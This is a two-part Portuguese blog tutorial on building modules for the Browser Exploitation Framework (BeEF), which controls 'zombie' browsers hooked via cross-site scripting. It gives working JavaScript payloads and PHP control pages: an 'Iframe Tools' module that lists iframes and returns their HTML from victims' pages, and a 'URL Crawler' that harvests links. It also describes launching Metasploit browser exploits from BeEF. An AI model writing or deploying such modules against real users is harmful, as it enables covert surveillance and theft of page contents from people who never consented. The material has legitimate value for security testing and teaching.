Continuarei, hoje, a mostrar o quão simples pode ser criar um módulo para o Browser Exploitation Framework, ou BeEF. Se você pegou o bonde andando e perdeu toda a apresentação e a primeira parte de construção de módulos, corra para lá, pois o conteúdo de hoje não passa de um complemento.

Nossa tarefa será aumentar a complexidade do módulo adicionando opções configuráveis. Sendo assim, ao contrário do módulo “URL Crawler”, onde bastava apertar o botão para explorar, teremos um formulário com opções que vão definir o que será processado pelo zumbie.

# Módulo: “Iframe Tools”

Ok, eu confesso: Minha criatividade hoje não está em um bom dia. Mas que fique claro: O que vale é passar o conteúdo. Por favor, desconsidere o nome brega.

Nosso módulo terá duas funções:

• Listar todos os iframes disponíveis na página, retornando nome e ID.
• Caso tenha sido especificado um nome ou ID, retornar o código HTML que esta sendo exibido dentro deste iframe.

Obviamente, estas funções poderiam (e, em minha opnião, deveriam) ser divididas em dois módulos. Elas estão juntas aqui para demonstrarmos como trabalhar com opções, e para que possamos aprender mais fugindo dos padrões.

1# Estrutura e o Arquivo de Nome

Conforme expliquei na parte 1, crie a pasta específica para este módulo com o nome de iframe_tools dentro do diretório de módulos da categoria que preferir. Crie, também, o arquivo name.txt contendo apenas Iframe Tools . Até aqui, nada muda .. mas só até aqui.

2# O Payload (JavaScript)

Se lembra do Código JavaScript (payload) que é enviado e executado no navegador do Zumbie? Por padrão, como expliquei, o arquivo usado chama-se template.js. Porém, isto tudo não passa de um modelo, e, desta vez faremos diferente. Para que possamos deixar o código final a ser enviado menor, criaremos um arquivo para cada uma das funções que citei.

Teremos então:

• template-lista.js : Lista e retorna os iframes na página
• template-le.js : Lê o conteúdo do iframe previamente especificado.

O primeiro (template-lista.js) é semelhante ao “URL Crawler”. Basta ler e retornar as informações. Não é necessário verificar configurações previamente estabelecidas, não é mesmo? Então, vamos a ele:

function do_main(){
var iframes = document.getElementsByTagName("iframe");
for ( var i in iframes ) {
if(iframes[i].src) {
retorno = retorno + '\n ID: ' + i + '  SRC:' + iframes[i].src; }
}
}

var retorno = '';
do_main();
return_result(result_id, ((retorno) ? retorno : "Nenhum Iframe encontrado") );

O código é muito simples: Verifica as tags <iframe> que possuam um src já definido (ou seja, que já estão em uma página) e retorna ao BeEF uma relação de IDs e seus respectivos SRCs. Assim será possível definir qual iframe desejamos obter o conteúdo.

Falando em obter conteúdo, eis o simples código que fará esta função. Ele ficará no arquivo template-le.js e, obviamente, requer uma informação que deve ser previamente definida: O ID do elemento Iframe que ele deve retornar o conteúdo. Para isto, devemos usar no lugar desta informação uma palavra-chave que será, depois, substituida pelo valor. Neste caso, usaremos a palavra IFRAME-ID

return_result(result_id, window.frames[IFRAME-ID].document.getElementsByTagName("body")[0].innerHTML);

Atenção:  As palavras que serão substituídas não são variáveis do JavaScript, e sim palavras quaisquer. Nunca use palavras que sejam de uso comúm da linguagem, ou que sejam usadas no script, caso contrário, as demais ocorrências também serão substituídas.

3# A Página de controle do Módulo (index.php)

Ao contrário do último post, que quase não alteramos este arquivo, o teremos agora como foco principal.

Mais do que apenas um formulário de envio, o index.php faz o preparo do código a ser enviado. É ele quem carregará o payload para o envio e fará as mudanças necessárias, como a substituição de palavras-chave por valores definidos.

Lembre-se de que estamos usando dois payloads em um único módulo. É aqui que faremos a verificação de qual payload deve ser usado em cada situação.

No início do arquivo, criamos definições para “chamarmos” nossos payloads (javascript) de forma mais amigável, além de incluir um arquivo exigido pelo BeEF.

<?
// Copyright (c) 2006-2009, Wade Alcorn
// All Rights Reserved
// wade@bindshell.net - http://www.bindshell.net
// Módulo por: Gabriel Lima - www.falandodeseguranca.com
// gabriel(@)falandodeseguranca.com

require_once("../../../include/common.inc.php"); // included for get_b64_file()

// Criamos definições para nossos 2 arquivos de payloads javascript.
DEFINE('JS_FILE_LISTA', './template-lista.js');
DEFINE('JS_FILE_LE', './template-le.js');
?>

Agora trabalharemos com JavaScript. Na função get_b64_code_cb, os dois payloads serão chamados e convertidos para base64. Criaremos uma variável para cada um (b64codelista e b64codele).  No caso da leitura do conteúdo de um iframe, é necessário substituir a palavra-chave IFRAME-ID (que criamos em #2) pelo valor digitado no campo “idiframe” do form de nome “myform”. A função também define qual payload será enviado, verificando se o campo está ou não em branco.

<script>

function get_b64_code_cb() {
// javascript is loaded from a file - it could be hard coded
var b64codelista = '<? echo get_b64_file(JS_FILE_LISTA); ?>';
var b64codele = '<? echo get_b64_file(JS_FILE_LE); ?>';

b64codele = b64replace(b64codele, "IFRAME-ID",document.myform.idiframe.value);

return ((document.myform.idiframe.value) ? b64codele : b64codelista);
}

Element.Methods.set_autorun = function() {
ar.enable('Iframe Tools', get_b64_code_cb());
}

Element.Methods.send_now = function() {
do_send(get_b64_code_cb());
}

// add construct code to DOM
Element.addMethods();

</script>

Finalmente, criamos o formulário, seguindo as especificações usadas no JavaScript para que o campo seja lido.

<div id="module_header">Iframe Tools</div>
Lista ou retorna o HTML de um Iframe.<br><br>
<div id="module_subsection">
<form name="myform">
ID do Iframe: <input type="text" name="idiframe" value=""/> <i>(Em branco: Lista Iframes)</i>
<input type="button" value=" Set Autorun " onClick="javascript:set_autorun()"/>
<input type="button" value=" Send Now " onClick="javascript:send_now()"/>
</form>
</div>

4# Tudo pronto!

Temos tudo pronto e funcionando. Veja, abaixo, nosso módulo em ação:

Sem especificar ID (lista Iframes):

Ao especificar um ID (retorna conteúdo do Iframe):

É isso! Dúvidas e feedback: Envie um comentário neste post ou tweet para @gabrielpato

Até a próxima!

Browser Exploitation Framework, ou BeEF, é uma ferramenta que oferece controle em tempo real a “vítimas” (que se transformarão, na verdade, em “Zumbies”) que navegam em sites vulneráveis a cross-site scripting, contendo o código do framework injetado.

Com o BeEF, você pode visualizar informações diversas de cada Zumbie conectado e os enviar códigos para determinadas funções. Tais códigos vão de simples alertas exibidos em seus navegadores até a Port Scan em hosts remotos ou internos.

Em sua versão 0.4, o potencial do BeEF aumentou com a integração com o Metasploit, através de XMLRPC. Exploits de navegadores, incluindo o utilitário “Browser Autopwn” que procura por versões vulneráveis de plugins e do próprio navegador da vítima, podem ser iniciadas diretamente do BeEF, em poucos clicks.

Não tem segredo: BeEF é uma ferramenta fácil de se usar. Foi programada em PHP e possui uma interface bem amigável. Faça o download em http://www.bindshell.net/tools/beef . Mas lembre-se: Você precisará de um ambiente como Apache + PHP. (Não é necessário banco de dados. Os dados coletados são armazenados em arquivos de texto.)

Mas é claro, o melhor do BeEF é a facilidade da criação de novos modulos, o que nos da a certeza de que é uma ferramenta que, com a ajuda da comunidade, estará cada dia melhor. Então, vamos à primeira parte sobre Criação de Módulos para o BeEF:

1# Os bastidores do BeEF

Ao entrar em um site com o código JavaScript, o navegador da vítima passa a se comunicar constantemente com o BeEF, “informando” que a sessão continua ativa, ou seja, que o Zumbie esta disponível, e verificando se há códigos de módulos a ser executado. Um dos aspectos positivos, é que o código inicial contém apenas o necessário para a comunicação com o servidor. Os códigos das ações dos módulos são enviandos à vítima e executados apenas quando o hacker determinar.

2# As Categorias dos Módulos

Os módulos são organizados por categorias, são elas:

• Standart Modules: Módulos de detecção de plugins e configurações de browser, além de comandos de javascript básicos como alerta, “deface” (reescrever o conteúdo da página), etc.
• Browser Modules: Módulos que exploram vulnerabilidades, como buffer overflow, em navegadores.
• Network Modules: Módulos de detecção, exploração de falhas ou interação com serviços na rede.

3# Os arquivos e a organização de um Módulo

Na pasta /modules/ do BeEF, 3 sub-pastas são encontradas, sendo uma para cada categoria que descrevi acima. Dentro da pasta da categoria, há uma pasta para cada módulo (ex: /modules/standart/alert_dialog para o módulo de alertas).

Já nas pastas de cada módulo, vemos que ele é composto por três arquivos:

• index.php: A página que será exibida dentro do BeEF para controle das ações do módulo.
• name.txt: Um simples arquivo de texto contendo o nome do módulo que será exibido no menu.
• template.js: O código JavaScript que será enviado ao Zumbie.

4# Mão na massa: Construindo nosso módulo.

Para demonstrar os padrões usados na framework pelos arquivos index.php e template.js, nada melhor do que criarmos um simples módulo. Como o nosso módulo de exemplo será para listagem de links (URLs) na página atual, o chamaremos de URL CRAWLER.

4.1# Criando a Pasta

O classifiquei como “Standart”. Vamos, por tanto, criar a pasta /modules/standart/url_crawler/

4.2# Definindo o Nome

Feito isso, é hora de construirmos os arquivos necessários para seu funcionamento. Começaremos pelo mais simples, o name.txt .

Crie um arquivo de texto (txt) de nome name.txt contendo APENAS o nome do módulo, no caso, URL Crawler:

URL Crawler

4.2# Criando o Código JavaScript

Eis a parte principal da história. É aqui que faremos o código que será executado no navegador da vítima. Abaixo, o código comentado para nosso exemplo:

// Função do_main() é o nome padrão usado no BeEF para a função principal do código.
function do_main(){
// Criamos a variável links, que será um Array contendo as tags <a> encontradas no site
var links = document.getElementsByTagName("a");
// Um loop, para que possamos tratar de cada <a> encontrado
for ( var i in links ) {
// Verifica se a tag contém o atributo href (link clicável) e se não é uma chamada javascript:
if(links[i].href && (String(links[i].href).substring(0,11) != "javascript:")) {
// Adiciona a url encontrada na variável retorno
retorno = retorno + '\n' +links[i].href ; }
} }
// Define\Zera a variavel retorno.
var retorno = '';
// Chama função principal
do_main();
// Envia o resultado ao BeEF
return_result(result_id, retorno);

O mais importante a ser notado no exemplo dado, é o uso do return_result(result_id, retorno);. Esta função pertence ao JS injetado pelo BeEF, e o faz retornar uma informação, contendo o ID correto (result_id) para a ação. Em resumo, sempre que você desejar saber de algo da vítima, deverá usar este comando. Se seu objetivo não é coletar informações, você pode usa-lo para se certificar que a vítima já recebeu e executou o código, como por exemplo:

alert("Teste!");
return_result(result_id, "Alerta executado!");

4.3# Criando o formulário de ativação

Neste primeiro módulo de exemplo, nosso formulário de ativação (a página em que o hacker irá acionar o módulo) será simples, pois deve conter apenas a descrição do módulo e dois botões: O de acionar, e o de definir o módulo como AutoRun. O autor do BeEF usou um padrão bem simples em todos os módulos. Nos próximos posts detalharei mais esta parte, criando páginas com maios opções. Por enquanto, basta seguir o modelo:

URL Crawler

Este modulo ira listar todas as URLs de links na pagina.





	

4.4# Ação!

Feito tudo isso, é só ir ao /beef/ui em seu navegador e conferir o novo módulo no menu. As URLs listadas aparecerão no log (parte direita do BeEF) e na página de informações individuais de cada Zumbie.

Por hoje é só, mas mais tutoriais sobre BeEF virão.

Espero que tenham gostado.
Fique de olho!

Abraços!
Gabriel